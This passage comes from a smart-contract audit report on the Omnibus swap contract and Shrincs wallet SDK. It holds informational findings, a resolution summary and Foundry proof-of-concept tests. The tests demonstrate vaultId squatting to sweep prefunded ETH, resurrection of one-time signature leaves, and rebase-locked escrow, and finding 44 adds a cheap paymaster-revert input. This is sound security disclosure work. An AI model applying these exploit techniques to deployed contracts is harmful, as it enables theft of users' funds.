- [quip-swap-solidity:ARCHITECTURE.md](#)
- [quip-swap-solidity:QUIP_LIFECYCLE.md](#)

Both documents describe a previous design (QUIP clones, WOTS+, portals) and do not match the scoped Omnibus code. Reviewers and integrators reading them build a wrong mental model of the swap lifecycle, though the drift is limited to the documentation itself and has no effect on the deployed code.

Recommendation

We recommend updating or removing the two documents, and marking clearly which document describes the current Omnibus design.

Status: Resolved

42. Native currency sent directly to Omnibus outside commit has no accounting or recovery path

Severity: Informational

- [quip-swap-solidity:src/Omnibus.sol:69](#)
- [quip-swap-solidity:src/Omnibus.sol:303-309](#)

Omnibus's `receive` function accepts native currency unconditionally and performs no accounting. The only state variable tracking native currency the owner may withdraw is `accruedFees`, which is incremented exclusively inside `commit` by exactly the `commitmentFee` amount charged on that call, matched by an equal increase in `msg.value`. Native currency escrowed for a specific lock's terms is never tracked in its own storage slot; it exists only implicitly as whatever portion of `address(this).balance` is not `accruedFees`.

Any native currency that reaches the contract outside the `commit` path, whether sent directly to `receive` by mistake or forced in through a `selfdestruct` from another contract, becomes part of the contract's balance without being reflected in `accruedFees` or tied to any lock's `reclaimRecipient`. `withdrawFees` only ever transfers the tracked `accruedFees` value, never the raw contract balance, so stray native cannot be swept out as fees, and no other function exists to recover it; it sits in the contract permanently. This does not let the owner withdraw more than legitimately accrued fees, nor does it let stray native be substituted for assets owed to a genuine `reclaimRecipient`, since `claim` and `reclaim` payouts are always the exact amounts fixed in a lock's terms rather than a share of whatever balance exists; the impact is limited to the stray funds themselves being unrecoverable.

Recommendation

We recommend either removing the `receive` function so all native currency must flow through `commit`, where it is accounted for, or adding an explicit `escrowedNative` counter incremented at `commit` and decremented at `claim` and `reclaim`, together with a recovery function that lets the owner withdraw the portion of the contract's balance that is neither `accruedFees` nor `escrowedNative`.

Status: Resolved

43. Undeprecate re-bind path is unreachable

Severity: Informational

- [ethereum-sdk:dependencies/solady-0.1.26/src/utils/EIP712.sol:39-54](#)
- [ethereum-sdk:contracts/WalletFactory.sol:82-97](#)

The documented re-bind path of `undeprecateImplementation` is unreachable for the `ShrincsWallet` family. The comment says a redeploy of the same bytecode at a different address can replace the original. That can never happen. `ShrincsWallet` inherits `Solady's EIP712` base, which caches `address(this)` in an immutable at construction (`EIP712.sol:54`). Two deployments of the same source with the same constructor args always have different runtime codehashes.

A redeployed implementation's codehash was never vetted, so `undeprecateImplementation` reverts with `ImplementationNotVetted` at the vetted-code gate. Only the exact original address can be un-deprecated.

Recommendation

We recommend deciding which of the two things undeprecation should mean, then making the code say it.

If it means reactivating the original deployment, which is the only case reachable for this wallet family, change the comment in `undeprecateImplementation` to say so and remove the re-bind promise. Suggested wording: "Only the originally vetted address can carry this codehash for the `ShrincsWallet` family, because `Solady's EIP712` base bakes `address(this)` into an immutable at construction. Every redeploy of the same source has a new codehash and must be vetted as a new implementation." No logic change is needed beyond the comment, since the pointer assignment in line 91 is a self-assign in every reachable case.

Replacing an implementation with a redeploy of the same source already works without the re-bind: call `vetImplementation` on the new address (its codehash differs, so it vets cleanly and becomes the latest), then `deprecateImplementation` on the old one. Document that two-call flow as the replacement path.

If a true same-source re-bind is ever a hard requirement, the registry must stop keying on runtime codehash for this family, for example by keying on the init-code hash or on an owner-supplied implementation ID. That is a redesign of `vetImplementation`, the deprecation map, and both deploy paths, and it is not needed for the flows above.

Status: Resolved

44. One ABI level below the now-bounds-checked codec decoders, a malformed nested signature offset still reverts paymaster validation instead of returning the documented soft-fail value

Severity: Informational

- [ethereum-sdk:contracts/shrincs/ShrincsWalletCodec.sol:168-219](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWalletCodec.sol:226-263](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:213](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:248](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:393](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:424](#)
- [ethereum-sdk:INVARIANTS.md:337-338](#)

Every codec decoder (`decodeInit`, `decodeUserOpSignature`, `decodeSponsorshipSignature`, `decodeUpgradeAuth`, `decodeProbePayload`, `tryDecodeErc1271Signature`) bounds-checks its top-level dynamic-tail offsets before dereferencing them, reverting a controlled `MalformedPayload` error (or, on the ERC-1271 path, returning `ok = false`) instead of letting the compiler's own calldata bounds check fire unmapped. `isValidSignature` is fully contained end-to-end: a self-staticcall/try/catch wrapper maps any revert from re-encoding a corrupted nested structure to the soft-fail value.

One level deeper, offsets nested inside the decoded `PublicKey/Signature` structs' own tails are still resolved by the compiler's ordinary bounds-check, which reverts unmapped the first time such a field is touched, at `_leafIndex(sig)` (`ShrincsWallet.sol:213` / `ShrincsPaymaster.sol:393`) or at the `abi.encode(pk, sig)` re-encoding for the external verifier call (`ShrincsWallet.sol:248` / `ShrincsPaymaster.sol:424`), a deliberate carve-out per `INVARIANTS.md:337-338`. For the paymaster this matters even inside the try/catch around the verifier call, since Solidity's try/catch covers only the call itself, not evaluating its own argument expressions.

`validatePaymasterUserOp` has no co-signature gate, so any caller can unconditionally revert it with a blob whose nested rather than top-level offset is corrupted, no cryptographic material needed, against the paymaster's single global validation entrypoint. Constructing it is exactly as trivial as the original top-level attack, just one ABI level deeper. The wallet's paths stay gated behind the owner's co-signature, so its realistic attacker is one who resubmits a corrupted copy of an observed legitimate operation.

The `EntryPoint`'s own try/catch around both validation calls handles a hard revert and the documented soft-fail identically at the mempool-admission boundary, and ERC-7562's reputation-throttling targets state-dependent simulation/execution divergence, not a

deterministic calldata revert, so this doesn't trigger that penalty. It's still a less graceful failure than the documented soft-fail for any caller whose handling assumes the documented contract.

Recommendation

We recommend extending the existing top-level bounds-check pattern one level deeper, to the dynamic tails nested inside the decoded `SHRINCS.PublicKey` and `SHRINCS.Signature` structs, so a corrupted nested offset is rejected with the same controlled `MalformedPayload` error, or, on the ERC-1271 path, the same `ok = false` soft-fail, as a corrupted top-level offset, rather than falling through to the compiler's own unmapped bounds-check revert. Short of that, we recommend wrapping the `_leafIndex` read and the `abi.encode(pk, sig)` re-encoding expression at both remaining call sites in a local `try/catch` around an external self-call, since a plain expression cannot itself be `try`-wrapped, so any revert there, not only reverts raised inside the external verifier call, maps to the same graceful soft-fail branch the rest of each function already uses.

Status: Resolved

45. Storage layout fixture cited in `ShrincsWalletStorage` does not exist

Severity: Informational

- [ethereum-sdk:contracts/shrincs/ShrincsWalletStorage.sol:78-79](#)

The comment at `ShrincsWalletStorage.sol:78-79` cites `test/fixtures/ShrincsWallet.storageLayout.json` as the drift gate that pins each field's slot offset and fails the suite on any drift. That fixture does not exist in the tree, so the drift gate is not wired as described. The hardcoded ERC-7201 slot literals were verified correct by hand.

The risk is future drift. A `Layout` field reorder or a namespace rename would silently desync the slot literals in `ShrincsWallet.sol` from the library layout, and nothing in the suite would catch it.

Recommendation

We recommend adding the fixture and the layout test the comment describes, or dropping the comment.

Status: Resolved

46. ShrincsPaymaster's constructor does not check that the pinned signature verifier address has deployed code

Severity: Informational

- [ethereum-sdk:contracts/ShrincsPaymaster.sol:93-97](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:369-385](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:110-123](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:129-146](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:426-433](#)

The paymaster's constructor pins its external signature verifier as an immutable after checking only that the address isn't zero; it never checks the address has any deployed code.

The wallet's constructor, by contrast, also checks the pinned verifier reports the expected signature scheme identity, since the wallet's signing domain embeds that identity and a wrong-scheme verifier would silently mismatch the signing surface.

Because SHRINCS_VERIFIER is immutable, a bad address baked in at construction, a copy-paste mistake or a script referencing the verifier before it's deployed on that chain, can never be corrected. Every later call into `validatePaymasterUserOp/isValidSignature` then hits a codeless address, and the only recovery is an entirely new paymaster, re-registered and re-deposited, since the constructor argument can't change on the existing instance.

Recommendation

We recommend adding a check in the paymaster's constructor that the supplied verifier address has nonzero code length, as inexpensive defense in depth against a deployment mistake, independent of any guarantees provided by the current deployment scripts. We recommend against porting the wallet's scheme-identity check to the paymaster, since the paymaster's signing domain does not depend on that identity and the additional external call would add a new failure mode without protecting any property the paymaster actually relies on.

Status: Resolved

47. Documentation does not match the implementation

Severity: Informational

- [ethereum-sdk:README.md:252-258](#)
- [ethereum-sdk:INVARIANTS.md:204](#)
- [ethereum-sdk:GOVERNANCE.md:21-25](#)

The following documentation inconsistencies have been found:

- README.md:252-258 gives the factory verification recipe as `constructor(address,uint256)`, while `contracts/WalletFactory.sol:49` declares `constructor(uint256 maxFee_)` payable.
- INVARIANTS.md:204 attributes the `EntryPoint` pin to an inherited `onlyEntryPoint` modifier, while `ShrincsPaymaster` pins it inline at `contracts/ShrincsPaymaster.sol:161` and `:194`.
- Each row in GOVERNANCE.md:21-25 cites a line inside a different function than the one named (`WalletFactory.sol: :86` not `:68`, `:116` not `:100`, `:99` not `:82`, `:149` not `:136`, `:157` not `:145`).
- ERC7562_COMPLIANCE.md is absent, cited in four files.

Recommendation

We recommend correcting the documentation to be up to date with the repos current state.

Status: Resolved

48. The paymaster sponsorship builder defaults `validUntil` to zero, which the `EntryPoint` and `ShrincsPaymaster` both treat as an unbounded approval window

Severity: Informational

- [ethereum-sdk:src/v1/shrincs/userOp.ts:209-253](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:156-185](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:330-398](#)

The SDK's sponsorship-signing helper builds the paymaster's packed header from an optional `validUntil` that falls back to zero when the caller omits it. That header is embedded verbatim into `paymasterAndData` and is also the exact range the SHRINCS signature commits to, so whatever the SDK chooses at signing time is exactly what the contract packs into `validationData`. `validatePaymasterUserOp` reads the six-byte `validUntil/validAfter` fields straight out of `paymasterAndData` with no check that either is nonzero or bounded, mirroring

standard ERC-4337 v0.7 behavior: the EntryPoint treats a zero `validUntil` as no-expiry, so a sponsorship signed with the SDK's default silently authorizes execution indefinitely, not merely soon.

Because the sponsorship signature is a single-use leaf that also binds the sender, calldata, and gas-fee caps into the same header carrying `validUntil`, a default-path sponsorship can't be redirected or have its cost inflated by anyone but the signer; the missing expiry only removes the operator's ability to make it stale by the calendar. The owner's two retractions, `markLeavesUsed` and `rotateStatefulKey`, are discrete actions, neither time-based, so any policy depending on time-based expiry is unenforceable on the SDK's default: a holder can redeem a sponsorship well after the conditions that justified it have changed.

The root cause sits entirely in the SDK's default, not the contract: `validatePaymasterUserOp` faithfully implements the standard ERC-4337 v0.7 convention, and rejecting a zero `validUntil` there would depart from it and foreclose a legitimate case where a sponsor wants an indefinitely valid approval, relying on the single-use leaf as its only freshness control.

Recommendation

We recommend giving `validUntil` a bounded, non-zero default in the SDK's sponsorship-signing helper, for example the current time plus a short fixed window, so that a caller must explicitly opt into an unbounded approval rather than receiving one by omission whenever they do not pass a value.

Status: Resolved

Conclusion

The status of the findings at the end of the audit is as follows:

Severity	Total	Resolved	Partially Resolved	Acknowledged
Critical	0	0	0	0
Major	9	8	1	0
Minor	17	11	1	5
Informational	22	22	0	0
Total	48	41	2	5

At the reviewed commits, the client resolved all nine major findings and the large majority of minor and informational ones. The fixes cover a wide range of correctness issues.

The codebase is in a substantially improved state. No critical findings were identified, and all major findings are resolved.

Several recurring issue types are worth addressing systematically going forward:

- **Argument-order and symmetry bugs** (`claim` window selection, canonical digest vs. role derivation): invariant-based fuzz tests that permute both argument orderings and assert identical outcomes where symmetry is intended, and different outcomes where it is not, would catch this class early.
- **Missing equality or bounds checks at install sites** (key-rotation no-op, ERC-1271/main key identity, unbounded `maxSignatures`, `reclaimRelease` ceiling): a checklist-driven review of every storage write that installs external input, verifying that zero, equality, and overflow edges are all explicitly handled.
- **Documentation drift** (`ARCHITECTURE.md`, `QUIP_LIFECYCLE.md`, `claim` interface dev block, guard-applicability record): tying documentation review to the PR process for any function whose interface comment is cited as a specification by other documents or by the SDK.
- **Cross-path binding gaps** (commitment not bound into raw ERC-7913 verify, profile tag not bound into stateless digest, ADRS tweak absent from public-key compressions): differential tests that generate a signature under one parameterization and assert rejection under every other deployed parameterization would surface cross-context acceptance before deployment.

Proof of Concept

P.1 — A negative token rebase locks escrowed funds permanently

← [Back to finding 5](#)

```
// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.33;

import {Test} from 'forge-std-1.14.0/Test.sol';
import {Omnibus} from '../../../../../src/Omnibus.sol';
import {Asset, AssetType, Terms} from '../../../../../src/TermsLib.sol';
import {CommitAuth, LockState} from '../../../../../src/interfaces/IOmnibus.sol';
import {ERC20} from '@openzeppelin-contracts-5.6.0-rc.1/token/ERC20/ERC20.sol';
import {SafeTransferLib} from 'solady-0.1.26/utils/SafeTransferLib.sol';
import {
    IERC7913SignatureVerifier
} from '@quip.network/hashsigns-solidity-0.2.0/contracts/interfaces/IERC7913SignatureVerifier.sol';

contract FactoryStub {
    mapping(address => bytes32) public vaultIdOf;
}

contract VerifierStub is IERC7913SignatureVerifier {
    function verify(bytes calldata, bytes32, bytes calldata) external pure returns (bytes4) {
        return IERC7913SignatureVerifier.verify.selector;
    }
}

contract RebasingERC20 is ERC20 {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    // burn simulates rebasing token with a decreasing balance
    function slash(address account, uint256 amount) external {
        _burn(account, amount);
    }
}

contract NegativeRebaseLocksEscrow is Test {
    Omnibus internal omnibus;
    VerifierStub internal verifier;

    address internal ALICE = makeAddr('alice');
    address internal BOB = makeAddr('bob');
    address internal ALICE_RECIPIENT = makeAddr('aliceRecipient');
```

```

address internal BOB_RECIPIENT = makeAddr('bobRecipient');
address internal CHARLIE = makeAddr('charlie');

uint256 internal constant AMOUNT = 10 ether;
uint256 internal constant OTHER_CHAIN_ID = 999;
bytes32 internal constant SECRET = keccak256('secret');

function setUp() public {
    verifier = new VerifierStub();
    omnibus = new Omnibus(address(this), address(new FactoryStub()));
    omnibus.setVerifierActivity(address(verifier), true);
    vm.deal(ALICE, 100 ether);
    vm.deal(BOB, 100 ether);
}

function _lockOf(bytes32 secret) internal pure returns (bytes32) {
    return keccak256(abi.encodePacked(secret));
}

function _auth(bytes memory key) internal view returns (CommitAuth memory) {
    return CommitAuth({signer: abi.encodePacked(address(verifier), key),
signature: bytes('sig')}});
}

function _native(uint256 amount) internal pure returns (Asset[] memory a) {
    a = new Asset[](1);
    a[0] = Asset({assetType: AssetType.Native, target: address(0), id: 0,
amount: amount});
}

function _erc20(address token, uint256 amount) internal pure returns (Asset[]
memory a) {
    a = new Asset[](1);
    a[0] = Asset({assetType: AssetType.ERC20, target: token, id: 0, amount:
amount});
}

function _termsOn(
    uint256 chainId,
    address reclaimTo,
    address recipient,
    uint256 commitDeadline,
    uint256 claimDeadline,
    uint256 reclaimRelease,
    Asset[] memory assets
) internal pure returns (Terms memory) {
    return Terms({
        chainId: chainId,
        reclaimRecipient: reclaimTo,
        recipient: recipient,
        commitmentDeadline: commitDeadline,
        claimDeadline: claimDeadline,
        reclaimRelease: reclaimRelease,

```

```

        assets: assets
    });
}

function _aliceTerms(Asset[] memory assets) internal view returns (Terms
memory) {
    return _termsOn(block.chainid, ALICE, ALICE_RECIPIENT, 1000, 3000, 5000,
assets);
}

function _bobTerms(Asset[] memory assets) internal view returns (Terms memory)
{
    return _termsOn(block.chainid, BOB, BOB_RECIPIENT, 2000, 4000, 6000,
assets);
}

function _commit(address from, bytes32 lock, Terms memory party, Terms memory
counterparty) internal {
    bool proposer = party.commitmentDeadline < counterparty.commitmentDeadline;
    vm.warp(proposer ? 500 : 1500);
    uint256 native;
    for (uint256 i = 0; i < party.assets.length; i++) {
        if (party.assets[i].assetType == AssetType.Native) native +=
party.assets[i].amount;
    }
    uint256 value = native + omnibus.commitmentFee(); // read before prank:
prank applies to the next call
    vm.prank(from);
    omnibus.commit{value: value}(lock, party, counterparty,
_auth(bytes('key')));
}

/// Same-chain swap, both legs escrowed. Commit reconciles the received
/// amount once, at escrow time. A later 1 wei negative rebase makes both
/// claim and reclaim revert on the underfunded transfer. There is no
/// partial reclaim and no admin sweep, so Alice's native leg is locked
/// forever together with the degraded token.
function test_negativeRebaseLocksEscrowPermanently() public {
    RebasingERC20 token = new RebasingERC20('Rebase', 'REB');
    token.mint(BOB, AMOUNT);
    vm.prank(BOB);
    token.approve(address(omnibus), type(uint256).max);

    bytes32 lock = _lockOf(SECRET);
    Terms memory alice = _aliceTerms(_native(AMOUNT));
    Terms memory bob = _bobTerms(_erc20(address(token), AMOUNT));
    _commit(ALICE, lock, alice, bob);
    _commit(BOB, lock, bob, alice);
    assertEq(token.balanceOf(address(omnibus)), AMOUNT);

    // negative rebase: the escrow is now 1 wei short of the declared amount
    token.slash(address(omnibus), 1);
}

```

```

    // claim reverts: the declared amount can no longer be delivered
    vm.warp(2500);
    vm.prank(ALICE);
    // the token reverts ERC20InsufficientBalance; Solady wraps it as
    TransferFailed
    vm.expectRevert(SafeTransferLib.TransferFailed.selector);
    omnibus.claim(SECRET, alice, bob);

    // reclaim reverts from either side, at any later time: no escape hatch
    vm.warp(5500);
    vm.expectRevert(SafeTransferLib.TransferFailed.selector);
    omnibus.reclaim(lock, alice, bob);
    vm.warp(6500);
    vm.expectRevert(SafeTransferLib.TransferFailed.selector);
    omnibus.reclaim(lock, bob, alice);
    vm.warp(block.timestamp + 365 days);
    vm.expectRevert(SafeTransferLib.TransferFailed.selector);
    omnibus.reclaim(lock, alice, bob);

    // both legs stay locked forever, lock never leaves Committed
    assertEq(uint8(omnibus.lockState(lock)), uint8(LockState.Committed));
    assertEq(ALICE.balance, 90 ether);
}

/// The pooled face: escrow of one token is shared across locks. After a 10%
/// rebase the first party out is paid in full from the shared pool, and the
/// last party for that token can never be paid.
function test_pooledRebaseLastSettlerBearsAll() public {
    RebasingERC20 token = new RebasingERC20('Rebase', 'REB');
    token.mint(ALICE, 100 ether);
    token.mint(BOB, 100 ether);
    vm.prank(ALICE);
    token.approve(address(omnibus), type(uint256).max);
    vm.prank(BOB);
    token.approve(address(omnibus), type(uint256).max);

    // two independent cross-chain locks, each escrowing 100 of the same token
    Terms memory remote = _termsOn(OTHER_CHAIN_ID, CHARLIE, CHARLIE, 2000, 4000,
6000, _native(1 ether));
    Terms memory aliceLeg = _termsOn(block.chainid, ALICE, ALICE_RECIPIENT,
1000, 3000, 5000, _erc20(address(token), 100 ether));
    Terms memory bobLeg = _termsOn(block.chainid, BOB, BOB_RECIPIENT, 1000,
3000, 5000, _erc20(address(token), 100 ether));

    bytes32 l1 = _lockOf(keccak256('swap-a'));
    bytes32 l2 = _lockOf(keccak256('swap-b'));
    _commit(ALICE, l1, aliceLeg, remote);
    _commit(BOB, l2, bobLeg, remote);
    assertEq(token.balanceOf(address(omnibus)), 200 ether);

    token.slash(address(omnibus), 20 ether); // -10% rebase, no transfer
    assertEq(token.balanceOf(address(omnibus)), 180 ether);
}

```

```

    // first out is made whole from the shared pool
    vm.warp(5500);
    omnibus.reclaim(l1, aliceLeg, remote);
    assertEq(token.balanceOf(ALICE), 100 ether, 'alice bore 0% of the rebase');

    // last out can never be paid: the pool holds 80 against a declared 100
    // the token reverts ERC20InsufficientBalance; Solady wraps it as
    TransferFailed
    vm.expectRevert(SafeTransferLib.TransferFailed.selector);
    omnibus.reclaim(l2, bobLeg, remote);
    vm.warp(block.timestamp + 365 days);
    vm.expectRevert(SafeTransferLib.TransferFailed.selector);
    omnibus.reclaim(l2, bobLeg, remote);
    assertEq(token.balanceOf(BOB), 0, 'bob bore 100% of the rebase');
    assertEq(uint8(omnibus.lockState(l2)), uint8(LockState.Committed));
  }
}

```

P.2 — ETH sent to a predicted wallet address before deployment can be stolen by whoever deploys the vaultId first

← [Back to finding 7](#)

The following Foundry test was run directly against the audited contracts and passes, demonstrating that ETH placed at a predicted address before deployment is fully recoverable by an attacker who deploys the same vault identifier first with their own key material.

```

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.33;

import {Test} from "forge-std-1.14.0/Test.sol";
import {ERC1967Proxy} from "@openzeppelin-contracts-5.6.0-rc.1/proxy/ERC1967/ERC1967Proxy.sol";
import {CREATE3} from "solady-0.1.26/src/utils/CREATE3.sol";
import {SHRINCS} from "@quip.network/hashsigns-solidity-0.2.0/contracts/SHRINCS.sol";
import {SHRINCSTestSigner} from "@quip.network/hashsigns-solidity-0.2.0/test/helpers/SHRINCSTestSigner.sol";
import {SHRINCS256sKeccak} from "@quip.network/hashsigns-solidity-0.2.0/contracts/SHRINCS256sKeccak.sol";
import {HashSuite} from "shrincs-hash/HashSuite.sol";
import {WalletFactory} from "../contracts/WalletFactory.sol";
import {ShrincsWallet} from "../contracts/shrincs/ShrincsWallet.sol";
import {ShrincsWalletCodec as Codec} from
"../contracts/shrincs/ShrincsWalletCodec.sol";

contract VaultIdSquatting is Test {
    uint32 internal constant MAX_SIG = 8;
    WalletFactory internal factory;
    SHRINCS256sKeccak internal shrincsVerifier;
}

```

```

SHRINCS.SigningKey internal attackerKey;
SHRINCS.PublicKey internal attackerPk;
bytes32 internal attackerCommitment;
address internal admin;

function setUp() public {
    vm.chainId(31337);
    admin = makeAddr("admin");
    bool ok;
    (attackerKey, attackerPk, ok) = SHRINCSTestSigner.keygen("attacker-key",
MAX_SIG);
    require(ok, "keygen");
    attackerCommitment = _toBytes32(attackerPk.publicKeyCommitment);
    shrincsVerifier = new SHRINCS256sKeccak();
    WalletFactory factoryImpl = new WalletFactory(0.1 ether);
    factory = WalletFactory(payable(address(new ERC1967Proxy(
        address(factoryImpl), abi.encodeCall(WalletFactory.initialize,
(payable(admin)))
        ))));
    ShrincsWallet walletImpl = new ShrincsWallet(payable(address(factory)),
address(shrincsVerifier));
    vm.prank(admin);
    factory.vetImplementation(address(walletImpl));
}

function test_attackerSquatsVaultIdAndSweepsPrefunding() public {
    bytes32 victimVaultId = keccak256("victim-vault-0x1234");

    // A counterparty pre-funds the victim's predicted, not-yet-deployed
address.
    address predicted = CREATE3.predictDeterministicAddress(victimVaultId,
address(factory));
    vm.deal(predicted, 5 ether);

    // The attacker deploys the SAME vault identifier first, with their own
owner and keys.
    address attacker = makeAddr("attacker");
    vm.prank(attacker);
    address squatted = factory.deployLatestWalletProxy(victimVaultId,
payable(attacker), _initPayload());
    assertEq(squatted, predicted, "attacker occupies the victim's predicted
address");

    // The attacker extracts the pre-funded balance through a normal, fully
authorized call.
    ShrincsWallet squattedWallet = ShrincsWallet(payable(predicted));
    bytes32 payloadHash = Codec.executePayloadHash(attacker, 5 ether,
keccak256(""), 0);
    SHRINCS.Signature memory sig = _signAction(predicted, payloadHash, 1);
    vm.prank(attacker);
    squattedWallet.execute(attackerPk, sig, attacker, 5 ether, "", 0);
    assertEq(attacker.balance, 5 ether, "attacker extracted the pre-funded
balance");
}

```

```

        // The intended owner can never deploy at that address again.
        address victim = makeAddr("victim");
        vm.expectRevert(CREATE3.DeploymentFailed.selector);
        vm.prank(victim);
        factory.deployLatestWalletProxy(victimVaultId, payable(victim),
        _initPayload());
    }

    function _initPayload() internal view returns (bytes memory) {
        return abi.encode(attackerCommitment, _toBytes32(attackerPk.pkSeed),
attackerPk,
        HashSuite.HASH_SUITE_ID, keccak256("dummy-erc1271"),
HashSuite.HASH_SUITE_ID);
    }

    function _signAction(address walletAddr, bytes32 payloadHash, uint32 leaf)
        internal view returns (SHRINCS.Signature memory sig)
    {
        bytes32 domain = keccak256(abi.encodePacked(Codec.DOMAIN_TAG,
block.chainid, uint256(uint160(walletAddr))));
        SHRINCS.ActionContext memory ctx = Codec.buildActionContext(domain, 0,
0, Codec.ACTION_EXECUTE, payloadHash);
        bytes memory message =
abi.encodePacked(SHRINCS.statefulActionMessageHash(attackerCommitment, ctx));
        bool ok;
        (sig, ok) = SHRINCSTestSigner.signStatefulRawAtLeaf(attackerKey, leaf,
message);
        require(ok, "sign failed");
    }

    function _toBytes32(bytes memory b) internal pure returns (bytes32 out) {
        assembly { out := mload(add(b, 32)) }
    }
}

```

P.3 — Rotating to an already-installed key resurrects every previously consumed one-time leaf

← [Back to finding 9](#)

The following Foundry tests were run directly against the audited contracts and both pass, demonstrating leaf resurrection on the wallet's stateful rotation path and on the paymaster's owner-fiat rotation path. The same technique, applied identically, was also confirmed against the wallet's `recoverWallet` and `transferOwnership` functions.

```

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.33;

import {Test} from "forge-std-1.14.0/Test.sol";

```

```

import {ERC1967Proxy} from "@openzeppelin-contracts-5.6.0-rc.1/proxy/ERC1967/ERC1967Proxy.sol";
import {SHRINCS} from "@quip.network/hashsigs-solidity-0.2.0/contracts/SHRINCS.sol";
import {SHRINCS256sKeccak} from "@quip.network/hashsigs-solidity-0.2.0/contracts/SHRINCS256sKeccak.sol";
import {SPHINCSPlusC256sKeccak} from "@quip.network/hashsigs-solidity-0.2.0/contracts/SPHINCSPlusC256sKeccak.sol";
import {HashSuite} from "shrincs-hash/HashSuite.sol";
import {WalletFactory} from "../../contracts/WalletFactory.sol";
import {ShrincsWallet} from "../../contracts/shrincs/ShrincsWallet.sol";
import {ShrincsWalletCodec as Codec} from "../../contracts/shrincs/ShrincsWalletCodec.sol";
import {IShrincsWallet} from "../../contracts/shrincs/interfaces/IShrincsWallet.sol";

contract SameKeyRotationResurrectsLeaves is Test {
    uint32 internal constant MAX_SIG = 4;
    uint256 internal constant CHAIN_ID = 31337;
    address internal constant SPHINCS_SIBLING =
0xf1Bd3aE9d3907bA59FB22A77eAcCbd278b51f88A;

    WalletFactory internal factory;
    ShrincsWallet internal wallet;
    SHRINCS.SigningKey internal mainKey;
    SHRINCS.PublicKey internal mainPk;
    bytes32 internal mainCommitment;
    address internal owner;

    function setUp() public {
        vm.chainId(CHAIN_ID);
        owner = makeAddr("owner");
        bool ok;
        (mainKey, mainPk, ok) = SHRINCS256sKeccak.keygen("same-key-rotation-main", MAX_SIG);
        require(ok, "keygen");
        mainCommitment = _toBytes32(mainPk.publicKeyCommitment);

        SHRINCS256sKeccak shrincsVerifier = new SHRINCS256sKeccak();
        vm.etch(SPHINCS_SIBLING, address(new SPHINCSPlusC256sKeccak()).code);

        address admin = makeAddr("admin");
        WalletFactory factoryImpl = new WalletFactory(0.1 ether);
        factory = WalletFactory(payable(address(new ERC1967Proxy(
            address(factoryImpl), abi.encodeCall(WalletFactory.initialize,
            (payable(admin))))
            ))));
        ShrincsWallet walletImpl = new ShrincsWallet(payable(address(factory)),
        address(shrincsVerifier));
        vm.prank(admin);
        factory.vetImplementation(address(walletImpl));

```

```

        wallet = ShrincsWallet(payable(
            factory.deployLatestWalletProxy(keccak256("same-key-vault"),
payable(owner), _initPayload())
        ));
    }

    function test_rotateKeyToSameKeyResurrectsConsumedLeaf() public {
        // Consume leaf 1 and confirm a second, distinct message at leaf 1 is
        // rejected as stale.
        SHRINCS.Signature memory sig1 = _sign(Codec.ACTION_EXECUTE,
Codec.executePayloadHash(address(0xD00D), 0, keccak256(""), 0), 1);
        vm.prank(owner);
        wallet.execute(mainPk, sig1, address(0xD00D), 0, "", 0);
        assertTrue(wallet.isStatefulLeafUsed(1));

        SHRINCS.Signature memory sig1b = _sign(Codec.ACTION_EXECUTE,
Codec.executePayloadHash(address(0xBEEF), 0, keccak256(""), 0), 1);
        vm.prank(owner);
        vm.expectRevert(IShrincsWallet.StaleStatefulLeaf.selector);
        wallet.execute(mainPk, sig1b, address(0xBEEF), 0, "", 0);

        // Rotate to a target that recomputes to the SAME installed commitment.
        bytes32 installed = wallet.getShrincsPublicKeyCommitment();
        SHRINCS.StatefulRotationTarget memory sameTarget =
SHRINCS.StatefulRotationTarget({
            statefulPublicKey: mainPk.statefulPublicKey,
            publicKeyCommitment: abi.encodePacked(
                SHRINCS.publicKeyCommitmentFromParts(mainPk.statefulPublicKey,
mainPk.pkSeed, mainPk.hypertreeRoot)
            )
        });
        SHRINCS.Signature memory rotSig = _sign(Codec.ACTION_ROTATE_KEY,
Codec.rotateKeyPayloadHash(installed), 2);
        vm.prank(owner);
        wallet.rotateKey(mainPk, rotSig, sameTarget);

        assertEquals(wallet.getShrincsPublicKeyCommitment(), installed, "commitment
unchanged: no same-key guard");
        assertEquals(wallet.keyVersion(), 1, "keyVersion bumped anyway");
        assertFalse(wallet.isStatefulLeafUsed(1), "leaf 1 is FRESH again");

        // The previously-rejected message now validates at the resurrected
        // leaf.
        SHRINCS.Signature memory sig = _sign(Codec.ACTION_EXECUTE,
Codec.executePayloadHash(address(0xBEEF), 0, keccak256(""), 0), 1);
        vm.prank(owner);
        wallet.execute(mainPk, sig, address(0xBEEF), 0, "", 0);
        assertTrue(wallet.isStatefulLeafUsed(1), "leaf 1 authenticated a SECOND
distinct message");
    }

    function _sign(bytes32 actionType, bytes32 payloadHash, uint32 leaf)
internal view returns (SHRINCS.Signature memory sig) {

```

```

        SHRINCS.ActionContext memory ctx = Codec.buildActionContext(
            keccak256(abi.encodePacked(Codec.DOMAIN_TAG, block.chainid,
uint256(uint160(address(wallet))))),
            wallet.actionNonce(), wallet.keyVersion(), actionType, payloadHash
        );
        bytes memory message =
abi.encodePacked(SHRINCS.statefulActionMessageHash(wallet.getShrincsPublicKeyCom
mitment(), ctx));
        bool ok;
        (sig, ok) = SHRINCS.TestSigner.signStatefulRawAtLeaf(mainKey, leaf,
message);
        require(ok, "sign failed");
    }

    function _initPayload() internal view returns (bytes memory) {
        return abi.encode(mainCommitment, _toBytes32(mainPk.pkSeed), mainPk,
HashSuite.HASH_SUITE_ID, keccak256("dummy-erc1271"), HashSuite.HASH_SUITE_ID);
    }

    function _toBytes32(bytes memory b) internal pure returns (bytes32 out) {
        assembly { out := mload(add(b, 32)) }
